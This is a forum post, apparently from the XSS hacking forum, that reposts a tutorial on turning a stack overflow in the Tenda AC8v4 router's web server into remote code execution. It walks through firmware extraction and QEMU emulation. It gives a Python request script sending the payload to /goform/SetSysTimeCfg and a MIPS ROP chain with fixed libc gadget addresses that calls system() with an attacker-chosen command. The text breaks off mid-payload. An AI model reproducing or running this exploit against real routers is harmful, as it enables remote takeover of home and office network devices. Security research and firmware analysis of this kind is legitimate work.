• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья ROP-цепочка для получения RCE; 0day Tenda Ac8v4

AFANX

CD-диск
Пользователь
Регистрация
24.11.2022
Сообщения
13
Реакции
34
facelist.png


Ку, киберпанки! Нашел крутую статью, в которой чел пынит прошивку. Для начинающих, которые ищют таргеты для ковыряния, статья понравится!

В последнее время моя страсть к бинарным эксплоитам стала неосознанной после изучения новых интересных вещей в CE и DLL; не знаю почему, но я всегда был одержим ассемблерами, стеками вызывающих устройств, кучами glibc и прочими вещами. Таким образом, я решил вернуться к партии 0day, которые я нашел раньше, и попытаться превратить их в RCE с помощью этих забавных гаджетов (всегда, когда я контролирую поток, я чувствую себя удовлетворенным).

/bin/httpd: Service or Sink​

Эксплуатация началась на tenda.com последней прошивки на свой популярный Ac8v4 Router; путем доступа к 's официальной странице загрузки прошивки https://www.tenda.com.cn/download/detail-3518.html); После распаковки прошивки, вы должны увидеть что-то похожее на это; с одним .docx введение установки прошивки и таинственный .bin файл:

Код:
 🐈 V16.03.34.06 tree
    .
    ├── AC8V4 xxxx.docx
    └── US_AC8V4.0si_V16.03.34.06_cn_TDC01.bin

Здесь файл US_AC8V4.0si_V16.03.34.09_cn_TDC01.bin - это система прошивки Ac8v4! С помощью Binwalk -Me с установленным squashfs мы можем увидеть всю систему прошивки маршрутизатора в squashfs-root:

Код:
 🐈 squashfs-root tree -L 1
    .
    ├── .....
    ├── etc -> /dev/null
    ├── init -> bin/busybox
    ├── lib
    ├── mnt
    ├── proc
    ├── root -> /dev/null
    ├── sbin
    └── .....

Как мы видим, внутренняя прошивка Ac8v4 имеет ту же архитектуру, что и обычная файловая система Linux, с /root, /proc, /bin, /etc в качестве корневых каталогов, но, как мы видим, некоторые из этих путей файловой системы указывают на /dev/null; что потребует некоторой техники, когда дело дойдет до симуляции прошивки:) Просматривая эти двоичные файлы, я обнаружил подозрительный двоичный файл httpd, который имеет значительный размер; настолько большой, что можно предположить, что он является основным сервисом двоичного файла:

Используя IDA в качестве отладчика, по мере загрузки бинарника мы видим огромный список интегрированных API, таких как websPageOpen, sslFreeConnection... и другие безымянные API, такие как sub_4222DC и sub_495368; Но как мы можем найти возможные уязвимости в таком большом количестве, ну магия заключается в source-to-sink и исключении sink по websGetVar -> функция, которая разбирает удаленные отправленные данные в бинарник хостера;

После некоторого времени перебора источников и размышлений, мы находим подозрительный API : sub_4A79EC, который, похоже, использовался для работы с соединениями в /goform/SetSysTimeCfg из цепочки вызовов sub_4A79EC -> fromSetSysTime -> formDefineTendDa, которая определяла все компоненты веб-формы:

Код:
int __fastcall sub_4A79EC(int a1)
{
  ....
  s = (char *)websGetVar(a1, "time", &unk_4F09E0);
  sscanf(s, "%[^-]-%[^-]-%[^ ] %[^:]:%[^:]:%s", v6, v8, v10, v12, v14, v16);
  v18.tm_year = atoi((const char *)v6) - 0x76C;
  v18.tm_mon = atoi((const char *)v8) - 1;
  ....
}

как представил websGetVar, парсящий в a2 -> "time" из веб-формы прослушивания /goform/SetSysTimeCfg, s напрямую парсится в sscanf и сохраняется в переменных на основе стека, таких как v6, v8, это крайне опасно, так как именно так работает sscanf:

Функция sscanf() считывает данные из буфера в места, указанные в argument-list. Если строки, на которые указывают буфер и format-string, перекрываются, поведение будет неопределенным.
Каждая запись в списке аргументов должна быть указателем на переменную типа, совпадающего с соответствующей спецификацией преобразования в format-string. Если типы не совпадают, результат не определен.
Строка format-string управляет интерпретацией списка аргументов. Строка format-string может содержать многобайтовые символы, начинающиеся и заканчивающиеся в начальном состоянии сдвига.


Что на самом деле делает sscanf(), так это фильтрует arg1, разделяет и сохраняет их в различные переменные на основе стека; в нашем случае дополнение s разбирается как аргумент времени в (char *)websGetVar(a1, "time", &unk_4F09E0); здесь sscanf фильтрует входные данные по regex %[^-]-%[^-]-%[^ ] %[^: ]:%[^:]:%s; который извлекает данные в v6 или v9 или v10 или . ... как data1:data2:data2 pr data1-data2-data3; что, поскольку эти переменные находятся в стеке; что еще более опасно.

Mipsel - это оху... круто

Результаты readelf -h говорят нам, что этот бинарник построен на архитектуре Mips's endianness little, чтобы действительно выполнить ROP на этой архитектуре, нам придется узнать, как работают команды здесь больше, чем в шпаргалке по заголовкам, и выяснить, как запустить их на виртуальных машинах; Для начала, регистры работают следующим образом:

"$a0" - "$a3": Параметры для вызова функций. Если параметров больше 4, то лишние передаются через стек. "$t0" - "$t7": Временные регистры. "$s0" - "$s7": Сохраненные регистры. При их использовании необходимо сохранять используемые регистры в стеке. "$gp": Глобальный указатель, используемый для доступа к данным в диапазоне 32К. "$sp": Указатель стека, указывает на вершину стека. "$fp": Указатель кадра. "$ra": Хранит адрес возврата.

Как вы заметили, в Mips нет регистра $bp, все операции со стеком будут реализованы через регистр $sp; кроме того, функции leaf и non-leaf существуют в Mips как концепция поведения RA в стеке, в которой функция leaf вызывает другие внешние функции как API, а non-leaf - нет, но в нашем случае нам не нужно сильно заострять на этом внимание! Кроме того, mips также поддерживает множество немедленных операций, таких как addiu, если вы не знакомы с этим, рекомендуем посмотреть шпаргалку, которая очень поможет в нашей части ROP!

QEMU + Патчинг: Мозговой штурм​



Прежде чем мы начнем, не используйте WSL2 / WSL в этой задаче, потому что я обещал, что предварительная настройка в сетях не будет работать (так же, как запуск steam на руке MacBook), попробуйте использовать Ubuntu-22.04 VMware, это сэкономит вам тонны и тонны времени.
аппаратная виртуализация. Это хост-монитор виртуальной машины: он эмулирует процессор машины с помощью динамической двоичной трансляции и предоставляет набор различных моделей аппаратного обеспечения и устройств для машины, позволяя запускать различные операционные системы. Благодаря динамической трансляции QEMU может работать без драйвера ядра хоста и при этом обеспечивает приемлемую производительность. Он поддерживает различные целевые архитектуры, включая, но не ограничиваясь, x86, ARM, MIPS, PowerPC и SPARC, что делает его универсальным инструментом для разработки, тестирования или просто запуска программного обеспечения для различных архитектур.


Чтобы запустить образ Mipsel Tenda Ac8v4 в идентичной среде, что и маршрутизатор, не покупая его (я купил его, но он все еще поставляется, пока я пишу это), нам нужно использовать QEMU в качестве нашей многоархийной поддерживаемой виртуальной машины для MIPsel. QEMU поддерживает различные уровни моделирования в зависимости от ситуации, qemu-xxx-static позволяет запускать бинарные файлы кросс-арч независимо, в то время как qemu-system-xxx позволяет запускать всю файловую систему, в нашем случае qemu-system будет работать лучше всего, поскольку мы должны иметь дело со всеми этими бинарными файлами с динамической связью и прочим; тем не менее, он также требует больше усилий для запуска.

Для начала нам необходимо выполнить несколько конфигураций ifconfig, межсетевое взаимодействие между qemu и вашим localhost всегда вызывает много головной боли. Для нас мы попробуем создать tun и tap устройства; которые виртуальные машины qemu читают и записывают устройство /dev/net/tun как дескриптор файла, используя сетевую интерфейсную карту tap0 для взаимодействия со стеком протоколов хоста (что требует моста br0 на вашем хосте).

Код:
apt-get install bridge-utils
apt-get install uml-utilities

ifconfig ens33 down                   # ens33 : switch it to your local interface
brctl addbr br0                          # Adding br0
brctl addif br0 ens33                 # Linking to br0
brctl stp br0 on                    # On stp
brctl setfd br0 2                    # forward delay
brctl sethello br0 1                # Hello time
ifconfig br0 0.0.0.0 promisc up        # enable br0
ifconfig ens33 0.0.0.0 promisc up    # enable local interface
dhclient br0                        # obtain br0's IP via dhclient

brctl show br0                        # ls br0
brctl showstp br0                    # show info of br0

tunctl -t tap0                        # add tap0
brctl addif br0 tap0                # link to br0
ifconfig tap0 0.0.0.0 promisc up    # enable tap0
ifconfig tap0 192.168.x.x/24 up        # assign an ip for tap0 (x in subnet)

brctl showstp br0                    # show br0's interface

Как и сейчас, если вы проверите информацию о br0, tap0 будет отключен в настоящее время; который превратится в переадресацию после запуска нашей qemu-системы; кроме того, br0, tap0 и ваш локальный интерфейс должны находиться в одной подсети. Переходим к сборке qemu-system-mipsel; нам нужно установить образ debian mipsel на people.debian.org:

Код:
wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-2.6.32-5-4kc-malta
wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta

После этого мы можем запустить симуляцию qemu-system-mipsel следующим образом!

Код:
sudo qemu-system-mipsel \
    -M malta \
    -kernel vmlinux-3.2.0-4-4kc-malta \
    -append "nokaslr root=/dev/sda1" \
    -hda debian_wheezy_mipsel_standard.qcow2 \
    -net nic -net tap,ifname=tap0,script=no,downscript=no \
    -nographic

Опция -net nic указывает, что QEMU должен создать виртуальную сетевую карту на виртуальной машине. Параметр -net tap указывает, что тип соединения — TAP, а -ifname указывает имя сетевого интерфейса (которое представляет собой созданный ранее tap0, по сути подключающий виртуальную машину QEMU к мосту). Параметры script и downscript используются для того, чтобы сообщить QEMU, следует ли вызывать сценарии для настройки сетевой среды при автоматическом запуске системы. Если эти две опции пусты, QEMU автоматически выберет первый несуществующий интерфейс TAP (обычно tap0) в качестве параметра и вызовет сценарии /etc/qemu-ifup и /etc/qemu-ifdown при запуске и остановке. Поскольку мы уже все настроили, мы можем установить для этих двух параметров значение no.

После инициализации (имя пользователя и пароль по умолчанию - root), eth0 по умолчанию не имеет автоматически назначенного ip-адреса, мы можем назначить его вручную командой ifconfig eth0 192.168.x.x/24 up (обратите внимание на замену x на свободный адрес в подсети). Теперь загружаем прошивку squashfs binwalk-ed командой scp, распаковываем файловую систему в /root, монтируем /dev и /proc в файловую систему командой mount -o bind /dev /root/dev && mount -t proc /proc /root/proc. затем chroot /root sh, чтобы попасть в корень файловой системы Tenda Ac8v4;

Теперь, если вы запустите уязвимый ./bin/httpd, вы можете обнаружить две проблемы; первая говорит о том, что какой-то libc-файл или символ не существует, что можно легко исправить, добавив его в env с помощью export LD_LIBRARY_PATH=/lib:$LD_LIBRARY_PATH. Тем не менее, второй вариант требует больше хитростей: после того, как вы правильно установили LD_LIBRARY_PATH и программа начала выполняться, вы можете обнаружить нечто очень странное; что программа застрянет после Welcome to ..., без каких-либо предупреждений о привязке к сети.

Если вы ищете строку 'welcome' в IDA, то вы найдете перекрестную ссылку на строку, которая приведет вас к main()! И причина этого находится в ifaddrs_get_ifip() (Вы должны увидеть что-то похожее на это):

Код:
  puts("\n\nYes:\n\n      ****** WeLoveLinux****** \n\n ****** Welcome to ******");
  setup_signals();
  while ( 1 )
  {
    lan_ifname = ifaddrs_get_lan_ifname();
    if ( ifaddrs_get_ifip(lan_ifname, v10) >= 0 )
      break;
    sleep(1u);
  }

Причина, по которой он застрял, связана с тем, что ./bin/httpd запускает кучу сетевых скриптов, чтобы убедиться, что маршрутизатор находится в хорошем состоянии, тем не менее, эти сетевые скрипты никогда не нужны, мы можем просто обойти этот assert, изменив возвращаемое значение для ifaddrs_get_ifip в сборке; или просто перейти к loc_43B798 напрямую:

Код:
.text:0043B768                 lw      $gp, 0x6B8+var_6A8($fp)
.text:0043B76C                 bgez    $v0, loc_43B798  # <- j loc_43B798
.text:0043B770                 nop

Если вы не хотите наслаждаться открытием IDA Pro, не беспокойтесь! Вы можете скачать исправленную версию здесь -> github.com ; Теперь, заменив оригинальный ./bin/httpd, скрипт должен продолжить работу, но начнут проявляться другие проблемы; при назначении адреса прослушивания для httpd, httpd может сказать 'unable to assign address' или прослушиваться на 255.255.255.255! Как это происходит? Если вы наберете в строке 'httpd listen ip', это приведет вас к socketOpenConnection() и обратно к main()

Код:
  v4 = ifaddrs_get_lan_ifname();
  if ( ifaddrs_get_ifip(v4, v11) < 0 )
  {
    GetValue("lan.ip", v8);
    strcpy(g_lan_ip, v8);
    memset(v12, 0, 0x5E4u);
    if ( !file_lan_dhcpc_get_ipinfo_and_status(v12) && v12[0x8C] )
      strcpy(g_lan_ip, &v12[0x8C]);
  }

в которой lan.ip берется из глобальной переменной g_lan_ip, которая обычно получает ip на интерфейсе br0; в нашем случае в QEMU нет мостового интерфейса br0 (в Ubuntu VMware он действительно есть), поэтому нам придется создать его аналогично настройке до QEMU, используя brctl и ifconfig; мы можем попробовать назначить адрес вручную, а не использовать dhclient:

Код:
brctl addbr br0                        # adding br0 interface
ifconfig br0 192.168.x.x/24 up        # manuly assigning an ip adress

Бум! Теперь повторно запустите файл ./bin/httpd после экспорта LD_LIBRARY_PATH, исправления ifaddrs_get_ifip() и создания интерфейса br0; Теперь, наконец, привязка к правильному ip и порту как httpd - web.c:158 показывает отладочное сообщение, и мы можем напрямую получить доступ к этому в нашем браузере, и мы можем увидеть индексную страницу Tenda Ac8v4!

$a0+$t9: Переполнение и контроль потока выполнения​

Переполнение​

После настройки симуляции на уровне системы qemu для Tenda Ac8v4 пришло время применить ее на практике! Но прежде чем мы начнем, обслуживание gdbserver для ./bin/httpd может нам очень помочь! Во-первых, убедитесь, что вы нашли последний возможный бинарник gdbserver на https://github.com/lucyoa/embedded-tools/tree/master/gdbserver, также убедитесь, что вы загрузили соответствующую архитектуру QEMU VM, в нашем случае мы выберем gdbserver-7.7.1-mipsel-mips32-v1 для размещения; после загрузки через wget или scp и chmod +x используйте ./gdbserver 0.0.0.0:[PORT_YOU_WANT] ./bin/httpd, чтобы начать обслуживание! Также, поскольку мы отлаживаем в mipsel, нам понадобится gdb-multiarch для отладки (установите как apt install gdb-multiarch); После этого вы можете подключиться к этому серверу с помощью gdb-multiarch -q ./bin/httpd, затем target remote [address]:[port]; убедитесь, что вы продолжаете, когда вы подключены.

Если при подключении к gdbserver возникают ошибки, попробуйте перемонтировать /proc как mount -t proc /proc /root/proc перед тем, как запустить chroot . sh для прошивки =^.^=

После установки gdbserver мы можем использовать это переполнение на основе стека в /goform/SetSysTimeCfg в качестве доказательства концепции! Я создал этот скрипт poc.py, чтобы сначала протестировать переполнение:


Python:
def sink(
        host,
        port,
        payload
    ):

    import requests
    url = "http://{host}:{port}/goform/SetSysTimeCfg"
    _payload = b''
    _payload = b'retr0reg' + b":" + payload
    data = {
        b"timeType":b"manual",
        b"time":_payload
    }

    def send_request():
        try:
            requests.post(url=url, data=data)
        except Exception as e:
            print(f"Request failed: {e}")

    send_request()

Для генерации начальной полезной нагрузки мы можем использовать pwndbg integrated cyclic; после отправки значительно большой полезной нагрузки мы видим, что программа получила Segmentation fault из-за Invaild return address, что в первую очередь позволило нам вызвать DoS на компоненте ./bin/httpd и остановить маршрутизатор!

На этом этапе, используя pwndbg integrated cyclic -l, мы можем вычислить захваченное смещение, контролирующее поток, относительно наших отправленных данных, используя эти специальные шаблоны; мы можем знать, что причина миграции потока управления находится по смещению 123, b'bgaa' (hex: 0x62676161); это означает, что замена этого смещения указателями позволяет нам манипулировать потоком управления по этому адресу, с этим, как наша основа, мы можем начать наш продвинутый роупинг и достижение нашей конечной цели: удаленное выполнение кода.

MIP ROP: Pointer World​


Для архитектуры MIPS ROP будет отличаться от обычного ROP, который наиболее знаком нам по синтаксису Intel; архитектура MIPS использует другой механизм для реализации возврата функций. В частности, MIPS использует регистры и инструкции перехода для достижения возврата функций. В основном с помощью jal и ja $ra из-за фокуса использования на $sp; Таким образом, в ROP MIPS мы не всегда можем использовать гаджеты pop rdi, ret для управления потоком выполнения, а скорее фокусируемся на регистрах и указателях; Это делает ROP еще сложнее, поскольку требуется много предварительной установки в стеке, и изменения происходят часто между гаджетами с повышением или понижением $sp, что дополнительно делает нас более запутанными для предварительного планирования гаджетов стека и целей.

Для начала, поскольку нам предоставлен замечательный плагин mipsrop из IDA Pro, мы можем просканировать используемые гаджеты для управления потоком ROP. Для более масштабной эксплуатации мы решили сфокусироваться на библиотеке динамической компоновки lib/libc.so в качестве нашей библиотеки гаджетов, в то время как файловая система маршрутизатора не защищена ASLR (если она есть, мы можем утечь через ROP), мы можем вызывать их по фиксированному смещению к фиксированной libc_base; что в нашем случае, через vmmap libc_base для libc.so -> (77f59000-77fe5000 r-xp 00000000 08:01 788000) находится по адресу 77f59000. Узнав это, мы можем попытаться найти гаджеты для управления потоком.

Попытка 1: манипуляция $a0​

Mipsrop предоставил нам метод misrop.system() для поиска модификации $a0 с соответствующим гаджетом управления потоком, которые расположены очень близко друг к другу. В нашем случае мы нашли эти два гаджета в libc.so:

Код:
Python>mipsrop.system()
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x0004D144  |  addiu $a0,$sp,0x24+var_C                            |  jr    0x24+var_s0($sp)                |
|  0x00058920  |  addiu $a0,$sp,0x28+var_C                            |  jr    0x28+var_4($sp)                 |
----------------------------------------------------------------------------------------------------------------

Как показали эти два гаджета по адресам 0x0004D144 и 0x00058920, оба они позволяют нам управлять регистром $a0 (регистр первого аргумента) со смещением в стеке по регистру $sp (addiu x,y,z = x = y+z), одновременно направляя jr (jmp) на другой стек со смещением по $sp; это позволяет нам контролировать $a0 для передачи параметров перед управлением потоком к другой функции calle по данным стека, которые мы можем контролировать! Например, в качестве гаджета 0x0004D144 в libc.so, мы можем сначала изменить подстановку $pc на libc_base + 0x0004D144, подставить ожидаемое значение $a0 в смещение 0x24+var_C из $sp (это значение равно 0x24 - 0xC = +0x24), затем подставить $sp смещение 0x24+var_s0 (0x24+0) в адрес прыжка jr; создавая структуру стека следующим образом:

Код:
+------offset------+------value------+
|     ret_addr     +  gadget 0x4D144 |
|------------------+-----------------|
|     $sp+0x18     +    $a0_addr     |
|------------------+-----------------|
|     $sp+0x24     +    jr_addr         |
+------------------+-----------------+

Теперь, поскольку мы знаем смещение регистра $pc по смещению 123 (b'bgaa' (hex: 0x62676161)) по циклу, также известно, что $sp находится по смещению 127 (b'bhaa' (hex: 0x61616862)); кроме того, нам нужно найти цель для ROP, в данном случае, поскольку мы уже знали адрес libc_base для libc. Итак, мы манипулируем jr_addr -> libc_base + _system (символ системы в libc.so), при этом манипулируя $sp+0x30 как $a0, переданным в _system, командную строку; что даст нам этот первый эксплойт:

Python:
    def _rop(ropcmd: RopCmd):

        # 77f59000-77fe5000 r-xp 00000000 08:01 788000
        libc_base = 0x77f59000

        ret_offset = 0x7b # --> b'bgaa'
        sp_offset  = 0x7f # --> b'bhaa'

        _system = 0x004E630


        a0_EQ_sp24_c_JR_24sp  = 0x0004D144 # addiu $a0,$sp,0x24+var_C | jr 0x24($sp)
        # LOAD:0004D144                 addiu   $a0, $sp, 0x24+var_C
        # LOAD:0004D148                 lw      $ra, 0x24+var_s0($sp)
        # LOAD:0004D14C                 nop
        # LOAD:0004D150                 jr      $ra


        a0_EQ_sp28_c_JR_24sp  = 0x00058920 # addiu $a0,$sp,0x28+var_C | jr 0x24($sp)
        # LOAD:00058920                 addiu   $a0, $sp, 0x28+var_C
        # LOAD:00058924                 lw      $v1, 0x28+var_C($sp)
        # LOAD:00058928                 lw      $ra, 0x28+var_4($sp)
        # LOAD:0005892C                 sw      $v1, 0($s0)
        # LOAD:00058930                 lw      $s0, 0x28+var_8($sp)
        # LOAD:00058934                 jr      $ra

        _payload = {
                ret_offset: libc_base + a0_EQ_sp24_c_JR_24sp,
                (sp_offset + 0x18): b'`mkdir /retr0reg`',
                (sp_offset + 0x24): libc_base + _system,
            }

        return flat(_payload)

Здесь мы построили нашу полезную нагрузку ROP, используя плоский метод pwntools, который позволяет избежать тонны операций 'payload +=', p32() и легко построить полезную нагрузку со смещениями как словарь; с libc_base, которую мы получили ранее через vmmap (/proc/<pid>/maps) и $pc + $sp смещением через циклическую шаблонную строку; Эта ROP-цепочка должна работать, поскольку $pc изменился на libc_base + a0_EQ_sp24_c_JR_24sp; $a0 будет mov в sp_offset + 0x18, где хранится наша RCE-команда, затем jr в libc_base + _system's libc system() API. Теперь мы можем отправить сплющенную _payload напрямую через наш сконструированный sink(); и посмотрим, что произойдет...

Ну, ./bin/httpd получил SIGSEGV по адресу 0x77fa7640, который находится всего в нескольких командах от libc_base + _system: 0x77fa7630, с одной стороны хороший знак, что мы контролировали поток к целевому символу libc_base + _system, загруженному в libc.so, и регистр $a0 действительно модифицирован в стековый адрес 0x646b6d60. Тем не менее, загруженная система символов libc, по-видимому, не функционировала как остановка в 0x77fa7640, поскольку lw $t9, -0x7f90($gp) вызвала SIGSEGV; Но почему?

Ответ на этот вопрос кроется в текущей команде: lw $t9, -0x7f90($gp), где компилятор попытался загрузить слово (lw) с отрицательного -0x7f90 смещения глобального регистра $gp. Это нормальное действие для libc для загрузки других символов, вызываемых в текущем символе, например, если вы посмотрите декомпилированную версию libc.so в IDA Pro, то обнаружите, что эта команда загружает memset из

Попытка 2: манипуляция $a0 + $t9​

Чтобы решить эту проблему, которая мешает нам, мы должны найти способ, чтобы $gp-0x7f90 был законным адресом - в лучшем случае точным адресом, указывающим на символ memset из загруженной libc; и здесь происходит нечто забавное, если вы посмотрите выше, когда символ system() инициализируется или загружается в районе 0x004E630, вы найдете этот сегмент, где он рассказывает вам, откуда взялся $gp.

Код:
LOAD:0004E630                 li      $gp, (unk_9C2D0+0x7FF0 - .)
LOAD:0004E638                 addu    $gp, $t9
LOAD:0004E63C                 addiu   $sp, -0x450
LOAD:0004E640                 la      $t9, memset

К сожалению, инструкция li блокирует возможную прямую модификацию $gp через ROP перед вызовом system(), поскольку здесь $gp будет загружен как немедленное значение (unk_9C2D0+0x7FF0 - .); Тем не менее, наклонившись вперед, вы обнаружите addu $gp, $t9, что говорит нам о том, что фактической причиной является регистр $t9. Что ж, это одновременно и хорошая, и плохая новость. С одной стороны, найти гаджет, который манипулирует $gp значением на основе стека и переходит на другой, будет невозможно, поскольку $gp вообще почти не изменяется через значение стека, найти $t9 будет гораздо проще. С другой стороны, возможно, понадобится построить совершенно новую ROP-цепочку для эксплуатации.

Но прежде чем конструировать цепочку, изменяющую регистр $t9, лучше всего проверить, какое значение будет подходящим для $t9.

Установив точку останова на 0x77f59000+0x004E630 (system()); мы можем обнаружить, что, несмотря на то, что различные команды вызываются как $a0, регистр $t9 всегда будет установлен на этот магический адрес - 0x77fa7630, который, похоже, является точной стартовой командой символа system(); также $t9, -0x7f90($gp) стал легальным адресом в libc. so allocated memory -> 0x77ff4000 0x77ff6000 rw-p 2000 8b000 /lib/libc.so; Теперь настало время построить ROP-цепочку с манипуляцией $t9, при этом разрешив $a0 произвольную и jmp на загруженную system() в libc.

Вопрос на миллион долларов: как мы можем управлять $t9 и при этом позволить нам, наконец, переходить к нашему предыдущему гаджету $a0 get-shell; что ж, для этого потребовался еще один mipsrop-инжиниринг. По поиску move $t9; мы можем найти множество гаджетов, которые фиксируют наше ожидание модификации $t9, будь то прямая оценка или косвенная через регистры:

Код:
Python>mipsrop.find('move $t9')
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
# tons of indentical gadgets at different address in libc.so.....
|  0x0006D970  |  move $t9,$s4                                        |  jr    $s4                             |
|  0x0006EFA0  |  move $t9,$s3                                        |  jalr  $s3                             |
|  0x0006EFD0  |  move $t9,$s3                                        |  jalr  $s3                             |
|  0x00070E14  |  move $t9,$s2                                        |  jalr  $s2                             |
|  0x00072E00  |  move $t9,$s3                                        |  jalr  $s3                             |
|  0x00075474  |  move $t9,$v0                                        |  jr    $v0                             |
|  0x00078190  |  move $t9,$s1                                        |  jalr  $s1                             |
|  0x000783D0  |  move $t9,$s1                                        |  jalr  $s1                             |
|  0x000784DC  |  move $t9,$s1                                        |  jalr  $s1                             |
|  0x0007A19C  |  move $t9,$t1                                        |  jalr  $t1                             |
|  0x0007A1B4  |  move $t9,$t0                                        |  jalr  $t0                             |
|  0x0007EA1C  |  move $t9,$t0                                        |  jalr  $t0                             |
|  0x0007EBD8  |  move $t9,$s2                                        |  jalr  $s2                             |
|  0x0001B014  |  move $t9,$s4                                        |  jr    0x1C+var_s18($sp)               |
----------------------------------------------------------------------------------------------------------------

Однако, чтобы удовлетворить требование, позволяющее нам переходить к другим гаджетам в стеке, как к $a0 changer и stack-caller; только гаджет 0x0001B014 будет работать так, как мы ожидали! Который сначала переместит значение регистра $s4 в $t9, а затем перейдет по адресу стека 0x1C+var_s18($sp) ($sp + 0x1C + 0x18), где будет храниться предыдущий a0_EQ_sp24_c_JR_24sp.

Тем не менее, перед срабатыванием гаджета 0x0001B014 нужно будет также поискать манипуляции с регистром $s4; эта задача будет относительно проще, поскольку $s4 - довольно распространенный средний регистр в управлении стеком; для гаджетов, подходящих под mipsrop.find('.* $s4'), мы будем постоянно использовать mipsrop.find('.* $s4'); поскольку $s4 - это управляемый регистр:

Код:
Python>mipsrop.find('.* $s4')
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
# 70 lines that fits our requirement....
|  0x0007E8C8  |  lw $s4,0x38+var_s10($sp)                            |  jr    0x5C($sp)                       |
|  0x0007EB5C  |  lw $s4,0x44+var_s10($sp)                            |  jr    0x5C($sp)                       |
----------------------------------------------------------------------------------------------------------------

На этот раз mipsrop.find возвращает нам еще кучу гаджетов! которые, к счастью, все содержат гаджеты, вызывающие стек, такие как jr 0x5C($sp), дополнительно позволяющие нам управлять $s4 через переменную на стеке через $sp, такую как 0x38+var_s10($sp) ; На этот раз мы просто выберем тот, который выглядит красивее и дает больше места на стеке с меньшим количеством коллизионных адресов этих двух управляющих стеком операций; что по сравнению с 0x0007EB5C, 0x0007E8C8 оставило нам дополнительное *((0x44+0x10)-(0x38-0x10)=0x2c)* место для $s4 (что на самом деле не так уж важно для $s4).

Теперь мы можем управлять $t9 через $s4, который пришел из 0x44+var_s10($sp), который будет установлен как гаджет0 через ret_addr; теперь мы можем определить адрес jr move $t9,$s4, jr 0x1C+var_s18($sp) для указания на гаджет addiu $a0,$sp,0x24+var_C, который получит $a0 из sp+0x24+0xC, затем jr на адрес, на который будет указывать 0x24+var_s0($sp).

Теперь мы можем сконструировать полезную нагрузку как:

Код:
+------offset------+------value---------------------------------------+ <|-- g0
|     ret_addr     |  lw $s4,0x38+var_s10($sp) + jr 0x5C($sp))        | ---
|------------------+--------------------------------------------------|   |
|     $sp+0x24     |  libc_base + system()                              |   |
|------------------+--------------------------------------------------|   | g1
|     $sp+0x30     |  command_for_$a0                                  |   |
|------------------+--------------------------------------------------|<|-|---
|     $sp+0x34     |  addiu $a0,$sp,0x24+var_C + jr 0x24+var_s0($sp)  |   |  |
|------------------+--------------------------------------------------|   |  |
|     $sp+0x48       |  #s4_content                                      |   |  | g2
+------------------+--------------------------------------------------|<|-|  |
|     $sp+0x5C     |  move $t9,$s4 + jr 0x1C+var_s18($sp)                |-------
+------------------+--------------------------------------------------+

Попытка 3: дьявольский $sp​

Теперь, если мы просто выровняем все эти гаджеты и будем оперировать данными в стеке, используя sp_offset, который мы получили ранее через cyclic, вы обнаружите нечто очень интересное: Это не работает вообще! Но почему? Давайте покопаемся в этих гаджетах, которые мы собрали ранее. Если взять предыдущий, а теперь первый гаджет, на который будет непосредственно указывать наш return_addr, то кроме части lw $s4,0x44+var_s10($sp); jr 0x5C($sp), которую мы все видим, есть еще часть, которая скрыта.

IDA позволяет нам проверить инструкцию по указанному адресу, просто дважды щелкнув на самом адресе, в нашем случае, дважды щелкнув на 0x0007E8C8, это приведет нас сюда:

Код:
LOAD:0007EB5C loc_7EB5C:
LOAD:0007EB5C                 lw      $ra, 0x44+var_s18($sp)
LOAD:0007EB60                 lw      $s5, 0x44+var_s14($sp)
LOAD:0007EB64                 lw      $s4, 0x44+var_s10($sp)
LOAD:0007EB68                 lw      $s3, 0x44+var_sC($sp)
LOAD:0007EB6C                 lw      $s2, 0x44+var_s8($sp)
LOAD:0007EB70                 lw      $s1, 0x44+var_s4($sp)
LOAD:0007EB74                 lw      $s0, 0x44+var_s0($sp)
LOAD:0007EB78                 jr      $ra
LOAD:0007EB7C                 addiu   $sp, 0x60

как определено 0x0007E8C8 и 0007EB5C, гаджет Action и Control Jump в точности соответствует нашим ожиданиям; между гаджетами Action и Control Jump, гаджет, на который мы манипулировали для перехода, также содержит другие инструкции, например, здесь регистр s1-s5 дополнительно влияет на содержимое стека, который мы переполнили; однако, что самое важное, модификация $sp по-прежнему применяется к нам даже после инструкции jr $ra (0x44+var_s18($sp)); Для нас это означает, что указатель $sp в нашей полезной нагрузке должен быть перестроен с учетом повышения нижнего значения $sp, вызванного предыдущим гаджетом; Например, поскольку наш следующий гаджет переходит в 0x0001B014, перемещение $t9,$s4; jr 0x5C($sp) и $sp был поднят на 0x60 ; фактический 0x5C($sp) будет sp_offset + 0x60 + 0x1C + 0x18 = sp_offset + 0x60 + 0x34; то же самое происходит и с нашим гаджетом1, который также изменил указатель $sp на значение +0x38:

Код:
LOAD:0001B014                 move    $t9, $s4
LOAD:0001B018                 lw      $ra, 0x1C+var_s18($sp)
LOAD:0001B01C                 lw      $s5, 0x1C+var_s14($sp)
LOAD:0001B020                 lw      $s4, 0x1C+var_s10($sp)
LOAD:0001B024                 lw      $s3, 0x1C+var_sC($sp)
LOAD:0001B028                 lw      $s2, 0x1C+var_s8($sp)
LOAD:0001B02C                 lw      $s1, 0x1C+var_s4($sp)
LOAD:0001B030                 lw      $s0, 0x1C+var_s0($sp)
LOAD:0001B034                 jr      $ra
LOAD:0001B038                 addiu   $sp, 0x38

В этот момент, с измененным $sp, мы можем перестроить наш пэйлоад с новым смещением $sp, которое определяется последовательностью вызовов этих гаджетов, что приводит нас к этому с цепочкой rop: lw $s4 0x48; jr 0x5c -> move $t9,$s4 jr 0x34($sp) -> addiu $a0,$sp,0x28+var_C | jr 0x24($sp); с определенным $sp из

sp_offset -> 0x7f
sp2 -> 0x60 : addiu $sp, 0x60
sp3 -> 0x38 : addiu $sp, 0x38


Код:
        _payload = {
                ret_offset: libc_base + lw_s4_0x48_JR_5Csp, # gad0
                (sp_offset + 0x48): t9_target,
                (sp_offset + 0x38 + 0x18): f'{c2}'.encode(), # $s6, 0x38+var_s18($sp)
